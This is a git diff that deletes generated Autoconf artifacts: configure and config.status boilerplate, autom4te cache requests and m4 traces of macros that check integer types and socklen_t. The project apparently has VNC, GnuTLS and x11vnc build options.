-if test -z "${HAVE_LIBJPEG_TRUE}" && test -z "${HAVE_LIBJPEG_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBJPEG\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBPNG_TRUE}" && test -z "${HAVE_LIBPNG_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBPNG\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBSDL_TRUE}" && test -z "${HAVE_LIBSDL_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBSDL\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBGTK_TRUE}" && test -z "${HAVE_LIBGTK_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBGTK\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${MINGW_TRUE}" && test -z "${MINGW_FALSE}"; then
- as_fn_error $? "conditional \"MINGW\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_GNUTLS_TRUE}" && test -z "${HAVE_GNUTLS_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_GNUTLS\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-
-if test -z "${CYGIPC_TRUE}" && test -z "${CYGIPC_FALSE}"; then
- as_fn_error $? "conditional \"CYGIPC\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${LINUX_TRUE}" && test -z "${LINUX_FALSE}"; then
- as_fn_error $? "conditional \"LINUX\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${OSX_TRUE}" && test -z "${OSX_FALSE}"; then
- as_fn_error $? "conditional \"OSX\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${ANDROID_TRUE}" && test -z "${ANDROID_FALSE}"; then
- as_fn_error $? "conditional \"ANDROID\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_RPM_TRUE}" && test -z "${HAVE_RPM_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_RPM\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${WITH_X11VNC_TRUE}" && test -z "${WITH_X11VNC_FALSE}"; then
- as_fn_error $? "conditional \"WITH_X11VNC\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-
-: "${CONFIG_STATUS=./config.status}"
-ac_write_fail=0
-ac_clean_files_save=$ac_clean_files
-ac_clean_files="$ac_clean_files $CONFIG_STATUS"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: creating $CONFIG_STATUS" >&5
-$as_echo "$as_me: creating $CONFIG_STATUS" >&6;}
-as_write_fail=0
-cat >$CONFIG_STATUS <<_ASEOF || as_write_fail=1
-#! $SHELL
-# Generated by $as_me.
-# Run this file to recreate the current configuration.
-# Compiler output produced by configure, useful for debugging
-# configure, is in config.log if it exists.
-
-debug=false
-ac_cs_recheck=false
-ac_cs_silent=false
-
-SHELL=\${CONFIG_SHELL-$SHELL}
-export SHELL
-_ASEOF
-cat >>$CONFIG_STATUS <<\_ASEOF || as_write_fail=1
-## -------------------- ##
-## M4sh Initialization. ##
-## -------------------- ##
-
-# Be more Bourne compatible
-DUALCASE=1; export DUALCASE # for MKS sh
-if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then :
- emulate sh
- NULLCMD=:
- # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which
- # is contrary to our usage. Disable this feature.
- alias -g '${1+"$@"}'='"$@"'
- setopt NO_GLOB_SUBST
-else
- case `(set -o) 2>/dev/null` in @%:@(
- *posix*) :
- set -o posix ;; @%:@(
- *) :
- ;;
-esac
-fi
-
-
-as_nl='
-'
-export as_nl
-# Printing a long string crashes Solaris 7 /usr/bin/printf.
-as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'
-as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo
-as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo
-# Prefer a ksh shell builtin over an external printf program on Solaris,
-# but without wasting forks for bash or zsh.
-if test -z "$BASH_VERSION$ZSH_VERSION" \
- && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then
- as_echo='print -r --'
- as_echo_n='print -rn --'
-elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then
- as_echo='printf %s\n'
- as_echo_n='printf %s'
-else
- if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then
- as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"'
- as_echo_n='/usr/ucb/echo -n'
- else
- as_echo_body='eval expr "X$1" : "X\\(.*\\)"'
- as_echo_n_body='eval
- arg=$1;
- case $arg in @%:@(
- *"$as_nl"*)
- expr "X$arg" : "X\\(.*\\)$as_nl";
- arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;;
- esac;
- expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl"
- '
- export as_echo_n_body
- as_echo_n='sh -c $as_echo_n_body as_echo'
- fi
- export as_echo_body
- as_echo='sh -c $as_echo_body as_echo'
-fi
-
-# The user is always right.
-if test "${PATH_SEPARATOR+set}" != set; then
- PATH_SEPARATOR=:
- (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && {
- (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 ||
- PATH_SEPARATOR=';'
- }
-fi
-
-
-# IFS
-# We need space, tab and new line, in precisely that order. Quoting is
-# there to prevent editors from complaining about space-tab.
-# (If _AS_PATH_WALK were called with IFS unset, it would disable word
-# splitting by setting IFS to empty value.)
-IFS=" "" $as_nl"
-
-# Find who we are. Look in the path if we contain no directory separator.
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- *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
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- done
-IFS=$as_save_IFS
-
- ;;
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- exit 1
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-# suppresses any "Segmentation fault" message there. '((' could
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-do eval test x\${$as_var+set} = xset \
- && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || :
-done
-PS1='$ '
-PS2='> '
-PS4='+ '
-
-# NLS nuisances.
-LC_ALL=C
-export LC_ALL
-LANGUAGE=C
-export LANGUAGE
-
-# CDPATH.
-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-
-@%:@ as_fn_error STATUS ERROR [LINENO LOG_FD]
-@%:@ ----------------------------------------
-@%:@ Output "`basename @S|@0`: error: ERROR" to stderr. If LINENO and LOG_FD are
-@%:@ provided, also output the error to LOG_FD, referencing LINENO. Then exit the
-@%:@ script with STATUS, using 1 if that was 0.
-as_fn_error ()
-{
- as_status=$1; test $as_status -eq 0 && as_status=1
- if test "$4"; then
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- $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4
- fi
- $as_echo "$as_me: error: $2" >&2
- as_fn_exit $as_status
-} @%:@ as_fn_error
-
-
-@%:@ as_fn_set_status STATUS
-@%:@ -----------------------
-@%:@ Set @S|@? to STATUS, without forking.
-as_fn_set_status ()
-{
- return $1
-} @%:@ as_fn_set_status
-
-@%:@ as_fn_exit STATUS
-@%:@ -----------------
-@%:@ Exit the shell with STATUS, even in a "trap 0" or "set -e" context.
-as_fn_exit ()
-{
- set +e
- as_fn_set_status $1
- exit $1
-} @%:@ as_fn_exit
-
-@%:@ as_fn_unset VAR
-@%:@ ---------------
-@%:@ Portably unset VAR.
-as_fn_unset ()
-{
- { eval $1=; unset $1;}
-}
-as_unset=as_fn_unset
-@%:@ as_fn_append VAR VALUE
-@%:@ ----------------------
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-@%:@ repeated appends, instead of the typical quadratic growth present in naive
-@%:@ implementations.
-if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then :
- eval 'as_fn_append ()
- {
- eval $1+=\$2
- }'
-else
- as_fn_append ()
- {
- eval $1=\$$1\$2
- }
-fi # as_fn_append
-
-@%:@ as_fn_arith ARG...
-@%:@ ------------------
-@%:@ Perform arithmetic evaluation on the ARGs, and store the result in the
-@%:@ global @S|@as_val. Take advantage of shells that can avoid forks. The arguments
-@%:@ must be portable across @S|@(()) and expr.
-if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then :
- eval 'as_fn_arith ()
- {
- as_val=$(( $* ))
- }'
-else
- as_fn_arith ()
- {
- as_val=`expr "$@" || test $? -eq 1`
- }
-fi # as_fn_arith
-
-
-if expr a : '\(a\)' >/dev/null 2>&1 &&
- test "X`expr 00001 : '.*\(...\)'`" = X001; then
- as_expr=expr
-else
- as_expr=false
-fi
-
-if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then
- as_basename=basename
-else
- as_basename=false
-fi
-
-if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then
- as_dirname=dirname
-else
- as_dirname=false
-fi
-
-as_me=`$as_basename -- "$0" ||
-$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
- X"$0" : 'X\(//\)$' \| \
- X"$0" : 'X\(/\)' \| . 2>/dev/null ||
-$as_echo X/"$0" |
- sed '/^.*\/\([^/][^/]*\)\/*$/{
- s//\1/
- q
- }
- /^X\/\(\/\/\)$/{
- s//\1/
- q
- }
- /^X\/\(\/\).*/{
- s//\1/
- q
- }
- s/.*/./; q'`
-
-# Avoid depending upon Character Ranges.
-as_cr_letters='abcdefghijklmnopqrstuvwxyz'
-as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
-as_cr_Letters=$as_cr_letters$as_cr_LETTERS
-as_cr_digits='0123456789'
-as_cr_alnum=$as_cr_Letters$as_cr_digits
-
-ECHO_C= ECHO_N= ECHO_T=
-case `echo -n x` in @%:@(((((
--n*)
- case `echo 'xy\c'` in
- *c*) ECHO_T=' ';; # ECHO_T is single tab character.
- xy) ECHO_C='\c';;
- *) echo `echo ksh88 bug on AIX 6.1` > /dev/null
- ECHO_T=' ';;
- esac;;
-*)
- ECHO_N='-n';;
-esac
-
-rm -f conf$$ conf$$.exe conf$$.file
-if test -d conf$$.dir; then
- rm -f conf$$.dir/conf$$.file
-else
- rm -f conf$$.dir
- mkdir conf$$.dir 2>/dev/null
-fi
-if (echo >conf$$.file) 2>/dev/null; then
- if ln -s conf$$.file conf$$ 2>/dev/null; then
- as_ln_s='ln -s'
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diff --git a/autom4te.cache/requests b/autom4te.cache/requests
deleted file mode 100644
index c0bd22d..0000000
--- a/autom4te.cache/requests
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diff --git a/autom4te.cache/traces.0 b/autom4te.cache/traces.0
deleted file mode 100644
index 2a34b77..0000000
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- test -n "${am_cv_prog_tar_$1}" && break
-
- # tar/untar a dummy directory, and stop if the command works
- rm -rf conftest.dir
- mkdir conftest.dir
- echo GrepMe > conftest.dir/file
- AM_RUN_LOG([tardir=conftest.dir && eval $am__tar_ >conftest.tar])
- rm -rf conftest.dir
- if test -s conftest.tar; then
- AM_RUN_LOG([$am__untar <conftest.tar])
- grep GrepMe conftest.dir/file >/dev/null 2>&1 && break
- fi
-done
-rm -rf conftest.dir
-
-AC_CACHE_VAL([am_cv_prog_tar_$1], [am_cv_prog_tar_$1=$_am_tool])
-AC_MSG_RESULT([$am_cv_prog_tar_$1])])
-AC_SUBST([am__tar])
-AC_SUBST([am__untar])
-])
-m4trace:acinclude.m4:2: -1- AC_DEFUN([AC_TYPE_SOCKLEN_T], [AC_CACHE_CHECK([for socklen_t], ac_cv_type_socklen_t,
-[
- AC_TRY_COMPILE(
- [#include <sys/types.h>
- #include <sys/socket.h>],
- [socklen_t len = 42; return 0;],
- ac_cv_type_socklen_t=yes,
- ac_cv_type_socklen_t=no)
-])
- if test $ac_cv_type_socklen_t != yes; then
- AC_DEFINE(socklen_t, int)
- fi
-])
-m4trace:acinclude.m4:20: -1- AC_DEFUN([AC_COMPILE_CHECK_SIZEOF], [changequote(<<, >>)dnl
-dnl The name to #define.
-define(<<AC_TYPE_NAME>>, translit(sizeof_$1, [a-z *], [A-Z_P]))dnl
-dnl The cache variable name.
-define(<<AC_CV_NAME>>, translit(ac_cv_sizeof_$1, [ *], [_p]))dnl
-changequote([, ])dnl
-AC_MSG_CHECKING(size of $1)
-AC_CACHE_VAL(AC_CV_NAME,
-[for ac_size in 4 8 1 2 16 $2 ; do # List sizes in rough order of prevalence.
- AC_TRY_COMPILE([#include "confdefs.h"
-#include <sys/types.h>
-$2
-], [switch (0) case 0: case (sizeof ($1) == $ac_size):;], AC_CV_NAME=$ac_size)
- if test x$AC_CV_NAME != x ; then break; fi
-done
-])
-if test x$AC_CV_NAME = x ; then
- AC_MSG_ERROR([cannot determine a size for $1])
-fi
-AC_MSG_RESULT($AC_CV_NAME)
-AC_DEFINE_UNQUOTED(AC_TYPE_NAME, $AC_CV_NAME, [The number of bytes in type $1])
-undefine([AC_TYPE_NAME])dnl
-undefine([AC_CV_NAME])dnl
-])
-m4trace:acinclude.m4:49: -1- AC_DEFUN([AC_CREATE_STDINT_H], [# ------ AC CREATE STDINT H -------------------------------------
-AC_MSG_CHECKING([for stdint-types....])
-ac_stdint_h=`echo ifelse($1, , _stdint.h, $1)`
-if test "$ac_stdint_h" = "stdint.h" ; then
- AC_MSG_RESULT("(are you sure you want them in ./stdint.h?)")
-elif test "$ac_stdint_h" = "inttypes.h" ; then
- AC_MSG_RESULT("(are you sure you want them in ./inttypes.h?)")
-else
- AC_MSG_RESULT("(putting them into $ac_stdint_h)")
-fi
-
-inttype_headers=`echo inttypes.h sys/inttypes.h sys/inttypes.h $2 \
-| sed -e 's/,/ /g'`
-
- ac_cv_header_stdint_x="no-file"
- ac_cv_header_stdint_o="no-file"
- ac_cv_header_stdint_u="no-file"
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uintptr_t
- unset ac_cv_type_uint64_t
- _AC_CHECK_TYPE_NEW(uintptr_t,[ac_cv_header_stdint_x=$i],dnl
- continue,[#include <$i>])
- AC_CHECK_TYPE(uint64_t,[and64="(uint64_t too)"],[and64=""],[#include<$i>])
- AC_MSG_RESULT(... seen our uintptr_t in $i $and64)
- break;
- done
- if test "$ac_cv_header_stdint_x" = "no-file" ; then
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uint32_t
- unset ac_cv_type_uint64_t
- AC_CHECK_TYPE(uint32_t,[ac_cv_header_stdint_o=$i],dnl
- continue,[#include <$i>])
- AC_CHECK_TYPE(uint64_t,[and64="(uint64_t too)"],[and64=""],[#include<$i>])
- AC_MSG_RESULT(... seen our uint32_t in $i $and64)
- break;
- done
- if test "$ac_cv_header_stdint_o" = "no-file" ; then
- for i in sys/types.h $inttype_headers ; do
- unset ac_cv_type_u_int32_t
- unset ac_cv_type_u_int64_t
- AC_CHECK_TYPE(u_int32_t,[ac_cv_header_stdint_u=$i],dnl
- continue,[#include <$i>])
- AC_CHECK_TYPE(uint64_t,[and64="(u_int64_t too)"],[and64=""],[#include<$i>])
- AC_MSG_RESULT(... seen our u_int32_t in $i $and64)
- break;
- done
- fi
- fi
-
-# ----------------- DONE inttypes.h checks MAYBE C basic types --------
-
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- AC_COMPILE_CHECK_SIZEOF(char)
- AC_COMPILE_CHECK_SIZEOF(short)
- AC_COMPILE_CHECK_SIZEOF(int)
- AC_COMPILE_CHECK_SIZEOF(long)
- AC_COMPILE_CHECK_SIZEOF(void*)
- ac_cv_header_stdint_test="yes"
-else
- ac_cv_header_stdint_test="no"
-fi
-
-# ----------------- DONE inttypes.h checks START header -------------
-_ac_stdint_h=AS_TR_CPP(_$ac_stdint_h)
-AC_MSG_RESULT(creating $ac_stdint_h : $_ac_stdint_h)
-echo "#ifndef" $_ac_stdint_h >$ac_stdint_h
-echo "#define" $_ac_stdint_h "1" >>$ac_stdint_h
-echo "#ifndef" _GENERATED_STDINT_H >>$ac_stdint_h
-echo "#define" _GENERATED_STDINT_H '"'$PACKAGE $VERSION'"' >>$ac_stdint_h
-if test "$GCC" = "yes" ; then
- echo "/* generated using a gnu compiler version" `$CC --version` "*/" \
- >>$ac_stdint_h
-else
- echo "/* generated using $CC */" >>$ac_stdint_h
-fi
-echo "" >>$ac_stdint_h
-
-if test "$ac_cv_header_stdint_x" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_x"
-elif test "$ac_cv_header_stdint_o" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_o"
-elif test "$ac_cv_header_stdint_u" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_u"
-else
- ac_cv_header_stdint="stddef.h"
-fi
-
-# ----------------- See if int_least and int_fast types are present
-unset ac_cv_type_int_least32_t
-unset ac_cv_type_int_fast32_t
-AC_CHECK_TYPE(int_least32_t,,,[#include <$ac_cv_header_stdint>])
-AC_CHECK_TYPE(int_fast32_t,,,[#include<$ac_cv_header_stdint>])
-
-if test "$ac_cv_header_stdint" != "stddef.h" ; then
-if test "$ac_cv_header_stdint" != "stdint.h" ; then
-AC_MSG_RESULT(..adding include stddef.h)
- echo "#include <stddef.h>" >>$ac_stdint_h
-fi ; fi
-AC_MSG_RESULT(..adding include $ac_cv_header_stdint)
- echo "#include <$ac_cv_header_stdint>" >>$ac_stdint_h
-echo "" >>$ac_stdint_h
-
-# ----------------- DONE header START basic int types -------------
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- AC_MSG_RESULT(... need to look at C basic types)
-dnl ac_cv_header_stdint_test="yes" # moved up before creating the file
-else
- AC_MSG_RESULT(... seen good stdint.h inttypes)
-dnl ac_cv_header_stdint_test="no" # moved up before creating the file
-fi
-
-if test "$ac_cv_header_stdint_u" != "no-file" ; then
- AC_MSG_RESULT(... seen bsd/sysv typedefs)
- cat >>$ac_stdint_h <<EOF
-
-/* int8_t int16_t int32_t defined by inet code, redeclare the u_intXX types */
-typedef u_int8_t uint8_t;
-typedef u_int16_t uint16_t;
-typedef u_int32_t uint32_t;
-EOF
- cat >>$ac_stdint_h <<EOF
-
-/* glibc compatibility */
-#ifndef __int8_t_defined
-#define __int8_t_defined
-#endif
-EOF
-fi
-
-ac_cv_sizeof_x="$ac_cv_sizeof_char:$ac_cv_sizeof_short"
-ac_cv_sizeof_X="$ac_cv_sizeof_x:$ac_cv_sizeof_int"
-ac_cv_sizeof_X="$ac_cv_sizeof_X:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long"
-if test "$ac_cv_header_stdint" = "stddef.h" ; then
-# we must guess all the basic types. Apart from byte-adressable system,
-# there a few 32-bit-only dsp-systems. nibble-addressable systems are way off.
- cat >>$ac_stdint_h <<EOF
-/* ------------ BITSPECIFIC INTTYPES SECTION --------------- */
-EOF
- t="typedefs for a"
- case "$ac_cv_sizeof_X" in
- 1:2:2:2:4) AC_MSG_RESULT(..adding $t normal 16-bit system)
- cat >>$ac_stdint_h <<EOF
-/* a normal 16-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned long uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef long int32_t;
-#endif
-EOF
-;;
- 1:2:2:4:4) AC_MSG_RESULT(..adding $t 32-bit system derived from a 16-bit)
- cat >>$ac_stdint_h <<EOF
-/* a 32-bit system derived from a 16-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:4) AC_MSG_RESULT(..adding $t normal 32-bit system)
- cat >>$ac_stdint_h <<EOF
-/* a normal 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:8) AC_MSG_RESULT(..adding $t 32-bit system prepared for 64-bit)
- cat >>$ac_stdint_h <<EOF
-
-/* a 32-bit system prepared for 64-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:8) AC_MSG_RESULT(..adding $t normal 64-bit system)
- cat >>$ac_stdint_h <<EOF
-
-/* a normal 64-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:4) AC_MSG_RESULT(..adding $t 64-bit system derived from a 32-bit)
- cat >>$ac_stdint_h <<EOF
-
-/* a 64-bit system derived from a 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- *)
- AC_MSG_ERROR([ $ac_cv_sizeof_X dnl
- what is that a system? contact the author, quick! http://ac-archive.sf.net])
- exit 1
-;;
- esac
-fi
-
-# ------------- DONE basic int types START int64_t types ------------
-if test "$ac_cv_type_uint64_t" = "yes"
-then AC_MSG_RESULT(... seen good uint64_t)
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have good uint64_t */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-#endif
-EOF
-
-elif test "$ac_cv_type_u_int64_t" = "yes"
-then AC_MSG_RESULT(..adding typedef u_int64_t uint64_t)
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have an u_int64_t */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef u_int64_t uint64_t;
-#endif
-EOF
-else AC_MSG_RESULT(..adding generic uint64_t runtime checks)
- cat >>$ac_stdint_h <<EOF
-
-/* -------------------- 64 BIT GENERIC SECTION -------------------- */
-/* here are some common heuristics using compiler runtime specifics */
-#if defined __STDC_VERSION__ && defined __STDC_VERSION__ > 199901L
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-
-#elif !defined __STRICT_ANSI__
-#if defined _MSC_VER || defined __WATCOMC__ || defined __BORLANDC__
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef __int64 int64_t;
-typedef unsigned __int64 uint64_t;
-#endif
-
-#elif defined __GNUC__ || defined __MWERKS__ || defined __ELF__
-dnl /* note: all ELF-systems seem to have loff-support which needs 64-bit */
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-#endif
-
-#elif defined __alpha || (defined __mips && defined _ABIN32)
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-#endif
- /* compiler/cpu type ... or just ISO C99 */
-#endif
-#endif
-EOF
-
-# plus a default 64-bit for systems that are likely to be 64-bit ready
- case "$ac_cv_sizeof_x:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long" in
- 1:2:8:8) AC_MSG_RESULT(..adding uint64_t default, normal 64-bit system)
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen normal 64-bit system, CC has sizeof(long and void*) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-EOF
-;;
- 1:2:4:8) AC_MSG_RESULT(..adding uint64_t default, typedef to long)
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen 32-bit system prepared for 64-bit, CC has sizeof(long) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-EOF
-;;
- 1:2:8:4) AC_MSG_RESULT(..adding uint64_t default, typedef long long)
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen 64-bit derived from a 32-bit, CC has sizeof(long) == 4 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-EOF
-;;
- *)
-cat >>$ac_stdint_h <<EOF
-/* NOTE: */
-/* the configure-checks for the basic types did not make us believe */
-/* that we could add a fallback to a 'long long' typedef to int64_t */
-EOF
- esac
-fi
-
-# ------------- DONE int64_t types START intptr types ------------
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- cat >>$ac_stdint_h <<EOF
-
-/* -------------------------- INPTR SECTION --------------------------- */
-EOF
- case "$ac_cv_sizeof_x:$ac_cv_sizeof_voidp" in
- 1:2:2)
- a="int16_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 2 chars, hence we declare it 16-bit */
-
-typedef uint16_t uintptr_t;
-typedef int16_t intptr_t;
-EOF
-;;
- 1:2:4)
- a="int32_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 4 chars, hence we declare it 32-bit */
-
-typedef uint32_t uintptr_t;
-typedef int32_t intptr_t;
-EOF
-;;
- 1:2:8)
- a="int64_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 8 chars, hence we declare it 64-bit */
-
-typedef uint64_t uintptr_t;
-typedef int64_t intptr_t;
-EOF
-;;
- *)
- a="long" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) but got no guess, hence we declare it as if long */
-
-typedef unsigned long uintptr_t;
-typedef long intptr_t;
-EOF
-;;
- esac
-AC_MSG_RESULT(..adding typedef $a intptr_t)
-fi
-
-# ------------- DONE intptr types START int_least types ------------
-if test "$ac_cv_type_int_least32_t" = "no"; then
-AC_MSG_RESULT(..adding generic int_least-types)
- cat >>$ac_stdint_h <<EOF
-
-/* --------------GENERIC INT_LEAST ------------------ */
-
-typedef int8_t int_least8_t;
-typedef int16_t int_least16_t;
-typedef int32_t int_least32_t;
-#ifdef _HAVE_INT64_T
-typedef int64_t int_least64_t;
-#endif
-
-typedef uint8_t uint_least8_t;
-typedef uint16_t uint_least16_t;
-typedef uint32_t uint_least32_t;
-#ifdef _HAVE_INT64_T
-typedef uint64_t uint_least64_t;
-#endif
-EOF
-fi
-
-# ------------- DONE intptr types START int_least types ------------
-if test "$ac_cv_type_int_fast32_t" = "no"; then
-AC_MSG_RESULT(..adding generic int_fast-types)
- cat >>$ac_stdint_h <<EOF
-
-/* --------------GENERIC INT_FAST ------------------ */
-
-typedef int8_t int_fast8_t;
-typedef int32_t int_fast16_t;
-typedef int32_t int_fast32_t;
-#ifdef _HAVE_INT64_T
-typedef int64_t int_fast64_t;
-#endif
-
-typedef uint8_t uint_fast8_t;
-typedef uint32_t uint_fast16_t;
-typedef uint32_t uint_fast32_t;
-#ifdef _HAVE_INT64_T
-typedef uint64_t uint_fast64_t;
-#endif
-EOF
-fi
-
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- cat >>$ac_stdint_h <<EOF
-
-#ifdef _HAVE_INT64_T
-typedef int64_t intmax_t;
-typedef uint64_t uintmax_t;
-#else
-typedef long int intmax_t;
-typedef unsigned long uintmax_t;
-#endif
-EOF
-fi
-
-AC_MSG_RESULT(... DONE $ac_stdint_h)
- cat >>$ac_stdint_h <<EOF
-
- /* once */
-#endif
-#endif
-EOF
-])
-m4trace:acinclude.m4:518: -1- AC_DEFUN([AX_PREFIX_CONFIG_H], [AC_REQUIRE([AC_CONFIG_HEADER])
-AC_CONFIG_COMMANDS([ifelse($1,,$PACKAGE-config.h,$1)],[dnl
-AS_VAR_PUSHDEF([_OUT],[ac_prefix_conf_OUT])dnl
-AS_VAR_PUSHDEF([_DEF],[ac_prefix_conf_DEF])dnl
-AS_VAR_PUSHDEF([_PKG],[ac_prefix_conf_PKG])dnl
-AS_VAR_PUSHDEF([_LOW],[ac_prefix_conf_LOW])dnl
-AS_VAR_PUSHDEF([_UPP],[ac_prefix_conf_UPP])dnl
-AS_VAR_PUSHDEF([_INP],[ac_prefix_conf_INP])dnl
-m4_pushdef([_script],[conftest.prefix])dnl
-m4_pushdef([_symbol],[m4_cr_Letters[]m4_cr_digits[]_])dnl
-_OUT=`echo ifelse($1, , $PACKAGE-config.h, $1)`
-_DEF=`echo _$_OUT | sed -e "y:m4_cr_letters:m4_cr_LETTERS[]:" -e "s/@<:@^m4_cr_Letters@:>@/_/g"`
-_PKG=`echo ifelse($2, , $PACKAGE, $2)`
-_LOW=`echo _$_PKG | sed -e "y:m4_cr_LETTERS-:m4_cr_letters[]_:"`
-_UPP=`echo $_PKG | sed -e "y:m4_cr_letters-:m4_cr_LETTERS[]_:" -e "/^@<:@m4_cr_digits@:>@/s/^/_/"`
-_INP=`echo ifelse($3, , _, $3)`
-if test "$ac_prefix_conf_INP" = "_"; then
- for ac_file in : $CONFIG_HEADERS; do test "_$ac_file" = _: && continue
- test -f "$ac_prefix_conf_INP" && continue
- case $ac_file in
- *.h) test -f $ac_file && _INP=$ac_file ;;
